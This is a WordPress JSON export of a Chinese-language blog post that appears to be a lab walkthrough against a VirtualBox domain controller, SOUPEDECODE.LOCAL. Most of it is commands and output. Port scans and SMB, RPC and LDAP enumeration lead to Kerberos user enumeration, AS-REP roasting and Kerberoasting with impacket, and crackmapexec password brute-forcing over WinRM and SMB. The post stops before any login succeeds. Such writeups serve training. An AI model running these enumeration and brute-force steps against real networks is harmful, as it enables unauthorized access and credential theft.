\u4e00\u3001\u4fe1\u606f\u6536\u96c6<\/p>\n\n\n\n
\u7aef\u53e3\u4fe1\u606f\u6536\u96c6<\/p>\n\n\n\n
sudo nmap -sT --min-rate 10000 -p- 192.168.241.149\nStarting Nmap 7.92 ( https:\/\/nmap.org ) at 2024-08-04 00:49 CST\nNmap scan report for 192.168.241.149\nHost is up (0.00079s latency).\nNot shown: 65517 filtered tcp ports (no-response)\nPORT STATE SERVICE\n53\/tcp open domain\n88\/tcp open kerberos-sec\n135\/tcp open msrpc\n139\/tcp open netbios-ssn\n389\/tcp open ldap\n445\/tcp open microsoft-ds\n464\/tcp open kpasswd5\n593\/tcp open http-rpc-epmap\n636\/tcp open ldapssl\n3268\/tcp open globalcatLDAP\n3269\/tcp open globalcatLDAPssl\n5985\/tcp open wsman\n9389\/tcp open adws\n49664\/tcp open unknown\n49667\/tcp open unknown\n49678\/tcp open unknown\n49722\/tcp open unknown\n49781\/tcp open unknown\nMAC Address: 08:00:27:DC:3B:4F (Oracle VirtualBox virtual NIC)\n<\/code><\/pre>\n\n\n\n\u7aef\u53e3\u670d\u52a1\u7cfb\u7edf\u4fe1\u606f<\/p>\n\n\n\n
sudo nmap -sCV -O -p$port 192.168.241.149 \n\nStarting Nmap 7.92 ( https:\/\/nmap.org ) at 2024-08-04 00:54 CST\nNmap scan report for 192.168.241.149\nHost is up (0.00031s latency).\n\nPORT STATE SERVICE VERSION\n53\/tcp open domain Simple DNS Plus\n88\/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-08-04 07:54:27Z)\n135\/tcp open msrpc Microsoft Windows RPC\n139\/tcp open netbios-ssn Microsoft Windows netbios-ssn\n389\/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)\n445\/tcp open microsoft-ds?\n464\/tcp open kpasswd5?\n593\/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0\n636\/tcp open tcpwrapped\n3268\/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)\n3269\/tcp open tcpwrapped\n5985\/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n|_http-title: Not Found\n9389\/tcp open mc-nmf .NET Message Framing\n49664\/tcp open msrpc Microsoft Windows RPC\n49667\/tcp open msrpc Microsoft Windows RPC\n49678\/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0\n49722\/tcp open msrpc Microsoft Windows RPC\n49781\/tcp open msrpc Microsoft Windows RPC\nMAC Address: 08:00:27:DC:3B:4F (Oracle VirtualBox virtual NIC)\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: general purpose\nRunning (JUST GUESSING): Microsoft Windows 2016|10|2012|Vista (93%)\nOS CPE: cpe:\/o:microsoft:windows_server_2016 cpe:\/o:microsoft:windows_10 cpe:\/o:microsoft:windows_server_2012:r2 cpe:\/o:microsoft:windows_vista::sp1:home_premium\nAggressive OS guesses: Microsoft Windows Server 2016 (93%), Microsoft Windows 10 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (87%), Microsoft Windows Vista Home Premium SP1 (85%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 1 hop\nService Info: Host: DC01; OS: Windows; CPE: cpe:\/o:microsoft:windows\n\nHost script results:\n|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:dc:3b:4f (Oracle VirtualBox virtual NIC)\n| smb2-security-mode: \n| 3.1.1: \n|_ Message signing enabled and required\n| smb2-time: \n| date: 2024-08-04T07:55:19\n|_ start_date: N\/A\n|_clock-skew: 14h59m57s\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 99.08 seconds\n<\/code><\/pre>\n\n\n\n\u8fd9\u662f\u4e00\u4e2a\u57df\u63a7 \u57df\u540d\u4e3a SOUPEDECODE.LOCAL<\/p>\n\n\n\n
echo \"192.168.241.149 SOUPEDECODE.LOCAL \" | sudo tee -a \/etc\/hosts<\/code><\/pre>\n\n\n\nsmb\u4fe1\u606f<\/p>\n\n\n\n
smbmap -H 192.168.241.149 -u guest\n[+] IP: 192.168.241.149:445 Name: SOUPEDECODE.LOCAL \n Disk Permissions Comment\n ---- ----------- -------\n ADMIN$ NO ACCESS Remote Admin\n backup NO ACCESS\n C$ NO ACCESS Default share\n IPC$ READ ONLY Remote IPC\n NETLOGON NO ACCESS Logon server share \n SYSVOL NO ACCESS Logon server share \n Users NO ACCESS\n\n\nsmbmap -H 192.168.241.149 -u guest -r\n\n[+] IP: 192.168.241.149:445 Name: SOUPEDECODE.LOCAL \n Disk Permissions Comment\n ---- ----------- -------\n ADMIN$ NO ACCESS Remote Admin\n backup NO ACCESS\n C$ NO ACCESS Default share\n IPC$ READ ONLY Remote IPC\n .\\IPC$\\*\n fr--r--r-- 3 Mon Jan 1 08:05:43 1601 InitShutdown\n fr--r--r-- 5 Mon Jan 1 08:05:43 1601 lsass\n fr--r--r-- 3 Mon Jan 1 08:05:43 1601 ntsvcs\n fr--r--r-- 3 Mon Jan 1 08:05:43 1601 scerpc\n fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\\CatalogChangeListener-2a4-0\n fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\\CatalogChangeListener-3ec-0\n fr--r--r-- 3 Mon Jan 1 08:05:43 1601 epmapper\n fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\\CatalogChangeListener-200-0\n fr--r--r-- 3 Mon Jan 1 08:05:43 1601 LSM_API_service\n fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\\CatalogChangeListener-170-0\n fr--r--r-- 3 Mon Jan 1 08:05:43 1601 eventlog\n fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\\CatalogChangeListener-404-0\n fr--r--r-- 3 Mon Jan 1 08:05:43 1601 atsvc\n fr--r--r-- 4 Mon Jan 1 08:05:43 1601 wkssvc\n fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\\CatalogChangeListener-2a4-1\n fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\\CatalogChangeListener-540-0\n fr--r--r-- 3 Mon Jan 1 08:05:43 1601 RpcProxy\\49678\n fr--r--r-- 3 Mon Jan 1 08:05:43 1601 01204ef74c9aa058\n fr--r--r-- 3 Mon Jan 1 08:05:43 1601 RpcProxy\\593\n fr--r--r-- 4 Mon Jan 1 08:05:43 1601 srvsvc\n fr--r--r-- 3 Mon Jan 1 08:05:43 1601 netdfs\n fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\\CatalogChangeListener-290-0\n fr--r--r-- 3 Mon Jan 1 08:05:43 1601 W32TIME_ALT\n fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\\CatalogChangeListener-998-0\n fr--r--r-- 1 Mon Jan 1 08:05:43 1601 PIPE_EVENTROOT\\CIMV2SCM EVENT PROVIDER\n fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\\CatalogChangeListener-9a0-0\n NETLOGON NO ACCESS Logon server share \n SYSVOL NO ACCESS Logon server share \n Users NO ACCESS\n\n <\/code><\/pre>\n\n\n\n<\/p>\n\n\n\n
smbclient -N -L \\\\192.168.241.149\n\n Sharename Type Comment\n --------- ---- -------\n ADMIN$ Disk Remote Admin\n backup Disk \n C$ Disk Default share\n IPC$ IPC Remote IPC\n NETLOGON Disk Logon server share \n SYSVOL Disk Logon server share \n Users Disk \nReconnecting with SMB1 for workgroup listing.\ndo_connect: Connection to 192.168.241.149 failed (Error \n\nsmbclient -N '\\\\192.168.241.149\\IPC$\\'\nTry \"help\" to get a list of possible commands.\nsmb: \\> ls\nNT_STATUS_NO_SUCH_FILE listing \\*\nsmb: \\> exit\n <\/code><\/pre>\n\n\n\n\u7528\u6237\u679a\u4e3e<\/h3>\n\n\n\n
kerberos \u534f\u8bae \u7528\u6237\u679a\u4e3e<\/p>\n\n\n\n
sudo nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='SOUPEDECODE.LOCAL',userdb=\/usr\/share\/wordlists\/metasploit\/unix_users.txt 192.168.241.149\n\nPORT STATE SERVICE\n88\/tcp open kerberos-sec\n| krb5-enum-users: \n| Discovered Kerberos principals\n| guest@SOUPEDECODE.LOCAL\n|_ administrator@SOUPEDECODE.LOCAL\nMAC Address: 08:00:27:DC:3B:4F (Oracle VirtualBox virtual NIC)<\/code><\/pre>\n\n\n\nrpc \u534f\u8bae \u7528\u6237\u679a\u4e3e<\/p>\n\n\n\n
rpcclient -U \"\"%\"\" 192.168.241.149\nCannot connect to server. Error was NT_STATUS_ACCESS_DENIED\n\nrpcclient -U \"guest\" 192.168.241.149\nPassword for [WORKGROUP\\guest]:\nrpcclient $> enumdomusers\nresult was NT_STATUS_ACCESS_DENIED\nrpcclient $> exit\n<\/code><\/pre>\n\n\n\nladp \u534f\u8bae \u7528\u6237\u679a\u4e3e<\/p>\n\n\n\n
ldapsearch -H ldap:\/\/SOUPEDECODE.LOCAL\/ -x -s base -b \u2018 \u2018 \u201c(objectClass=*)\u201d \u201c*\u201d +\n# extended LDIF\n#\n# LDAPv3\n# base <\u2018> with scope baseObject\n# filter: (objectclass=*)\n# requesting: \u2018 \u201c(objectClass=*)\u201d \u201c*\u201d + \n#\n\n# search result\nsearch: 2\nresult: 1 Operations error\ntext: 000004DC: LdapErr: DSID-0C090A58, comment: In order to perform this opera\n tion a successful bind must be completed on the connection., data 0, v4f7c\n\n# numResponses: 1\n \nldapsearch -H ldap:\/\/SOUPEDECODE.LOCAL\/ -x -b \"\" -s sub \"(objectClass=*)\" cn \n\n# extended LDIF\n#\n# LDAPv3\n# base <> with scope subtree\n# filter: (objectClass=*)\n# requesting: cn \n#\n\n# search result\nsearch: 2\nresult: 1 Operations error\ntext: 000004DC: LdapErr: DSID-0C090A58, comment: In order to perform this opera\n tion a successful bind must be completed on the connection., data 0, v4f7c\n\n# numResponses: 1\n<\/code><\/pre>\n\n\n\nsudo nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='SOUPEDECODE.LOCAL',userdb=\/usr\/share\/seclists\/Passwords\/Common-Credentials\/10k-most-common.txt 192.168.241.149 \nStarting Nmap 7.92 ( https:\/\/nmap.org ) at 2024-08-04 02:30 CST\nNmap scan report for SOUPEDECODE.LOCAL (192.168.241.149)\nHost is up (0.00028s latency).\n\nPORT STATE SERVICE\n88\/tcp open kerberos-sec\n| krb5-enum-users: \n| Discovered Kerberos principals\n| charlie@SOUPEDECODE.LOCAL\n|_ guest@SOUPEDECODE.LOCAL\nMAC Address: 08:00:27:DC:3B:4F (Oracle VirtualBox virtual NIC)\n\nNmap done: 1 IP address (1 host up) scanned in 35.79 seconds<\/code><\/pre>\n\n\n\n<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u5c1d\u8bd5\u7206\u7834\u7528\u6237 charlie <\/p>\n\n\n\n
<\/p>\n\n\n\n
impacket-GetNPUsers\n\u529f\u80fd\uff1a\n\u83b7\u53d6\u4e0d\u9700\u8981\u9884\u8eab\u4efd\u9a8c\u8bc1\u7684\u7528\u6237\u7684 TGT\uff08Ticket Granting Ticket\uff09\u3002\n\u5f53\u7528\u6237\u5e10\u6237\u8bbe\u7f6e\u4e86 UF_DONT_REQUIRE_PREAUTH \u5c5e\u6027\u65f6\uff0c\u53ef\u4ee5\u4f7f\u7528\u8be5\u5de5\u5177\u3002\n\u4f7f\u7528\u65b9\u6cd5\uff1a\nimpacket-GetNPUsers -dc-ip <DC_IP> <DOMAIN>\/<USERNAME> -no-pass\n\u793a\u4f8b\uff1a\nimpacket-GetNPUsers -dc-ip 192.168.241.149 SOUPEDECODE.LOCAL\/administrator -no-pass\n-dc-ip\uff1a\u57df\u63a7\u5236\u5668\u7684 IP \u5730\u5740\u3002\n<DOMAIN>\/<USERNAME>\uff1a\u57df\u548c\u7528\u6237\u540d\u3002\u53ef\u4ee5\u4f7f\u7528\u6ca1\u6709\u5bc6\u7801\u7684\u7528\u6237\u5e10\u6237\u3002\n2. impacket-GetUserSPNs\n\u529f\u80fd\uff1a\n\u679a\u4e3e\u8bbe\u7f6e\u4e86\u670d\u52a1\u4e3b\u540d\u79f0\uff08SPN\uff09\u7684\u5e10\u6237\uff0c\u5e76\u4ece\u8fd9\u4e9b\u5e10\u6237\u4e2d\u8bf7\u6c42 Kerberos TGS\uff08Ticket Granting Service\uff09\u3002\n\u53ef\u4ee5\u7528\u4e8e\u83b7\u53d6 Kerberos TGS \u7968\u636e\uff0c\u8fd9\u4e9b\u7968\u636e\u53ef\u4ee5\u88ab\u79bb\u7ebf\u7834\u89e3\u4ee5\u83b7\u53d6\u670d\u52a1\u5e10\u6237\u5bc6\u7801\u3002\n\u4f7f\u7528\u65b9\u6cd5\uff1a\nimpacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>\/<USERNAME> -no-pass\n\u793a\u4f8b\uff1a\nimpacket-GetUserSPNs -dc-ip 192.168.241.149 SOUPEDECODE.LOCAL\/administrator -no-pas\n-dc-ip\uff1a\u57df\u63a7\u5236\u5668\u7684 IP \u5730\u5740\u3002\n<DOMAIN>\/<USERNAME>\uff1a\u57df\u548c\u7528\u6237\u540d\u3002\u53ef\u4ee5\u4f7f\u7528\u6ca1\u6709\u5bc6\u7801\u7684\u7528\u6237\u5e10\u6237\u3002\n\u6ce8\u610f\u4e8b\u9879\n\u6743\u9650\uff1a\n\u786e\u4fdd\u4f7f\u7528\u5177\u6709\u8db3\u591f\u6743\u9650\u7684\u5e10\u6237\u8fdb\u884c\u64cd\u4f5c\u3002\nimpacket-GetNPUsers \u9700\u8981\u76ee\u6807\u7528\u6237\u5e10\u6237\u8bbe\u7f6e\u4e86 UF_DONT_REQUIRE_PREAUTH \u5c5e\u6027\u3002\nimpacket-GetUserSPNs \u9700\u8981\u4f7f\u7528\u5177\u6709\u8bfb\u53d6\u670d\u52a1\u5e10\u6237\u4fe1\u606f\u6743\u9650\u7684\u5e10\u6237\u3002\n\u9519\u8bef\u6392\u67e5\uff1a\n\u5982\u679c impacket-GetNPUsers \u8fd4\u56de User doesn't have UF_DONT_REQUIRE_PREAUTH set \u9519\u8bef\uff0c\u8868\u660e\u76ee\u6807\u7528\u6237\u5e10\u6237\u4e0d\u7b26\u5408\u6761\u4ef6\u3002\n\u5982\u679c impacket-GetUserSPNs \u8fd4\u56de invalidCredentials \u9519\u8bef\uff0c\u786e\u4fdd\u63d0\u4f9b\u4e86\u6b63\u786e\u7684\u51ed\u636e\u548c\u57df\u4fe1\u606f\u3002<\/code><\/pre>\n\n\n\n<\/p>\n\n\n\n
\u7206\u7834 \u7528\u6237\u5bc6\u7801<\/p>\n\n\n\n
crackmapexec winrm 192.168.241.149 -u 'charlie' -p \/usr\/share\/wordlists\/rockyou.txt -d SOUPEDECODE.LOCAL<\/code><\/pre>\n\n\n\n<\/p>\n\n\n\n
smb \u534f\u8bae sid \u7528\u6237\u679a\u4e3e<\/p>\n\n\n\n
impacket-lookupsid 'soupedecode.local\/anonymous@192.168.241.149' > user<\/code><\/pre>\n\n\n\nkerberos rosting \u653b\u51fb<\/p>\n\n\n\n
impacket-GetNPUsers -dc-ip 192.168.241.149 SOUPEDECODE.LOCAL\/administrator -no-pass -usersfile=user.txt\n<\/code><\/pre>\n\n\n\n\u6ca1\u6709\u83b7\u53d6\u5230tgt<\/p>\n\n\n\n
\u4f7f\u7528\u83b7\u5f97\u7684\u7528\u6237\u540d\u5217\u8868\u8fdb\u884c\u7206\u7834<\/p>\n\n\n\n
crackmapexec smb 192.168.241.47 -u user.txt -p user.txt –no-bruteforce –continue-on-success -d SOUPEDECODE.LOCAL –no-bruteforce\u5bc6\u7801\u548c\u7528\u6237\u4e00\u5bf9\u4e00\u5339\u914d
crackmapexec winrm 192.168.241.149 -u user.txt -p user.txt -d SOUPEDECODE.LOCAL
windows \u8fdc\u7a0b\u7ba1\u7406\u534f\u8bae \u7528\u6237\u540d\u5bc6\u7801\u7206\u7834
crackmapexec smb 192.168.241.149 -u user.txt -p user.txt
smb \u534f\u8bae \u7528\u6237\u540d\u5bc6\u7801\u7206\u7834
<\/p>\n\n\n\n
<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u4e00\u3001\u4fe1\u606f\u6536\u96c6 \u7aef\u53e3\u4fe1\u606f\u6536\u96c6 \u7aef\u53e3\u670d\u52a1\u7cfb\u7edf\u4fe1\u606f \u8fd9\u662f\u4e00\u4e2a\u57df\u63a7 \u57df\u540d\u4e3a SOUPEDECODE.LOCAL smb […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-912","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/912","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=912"}],"version-history":[{"count":0,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/912\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=912"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=912"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=912"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}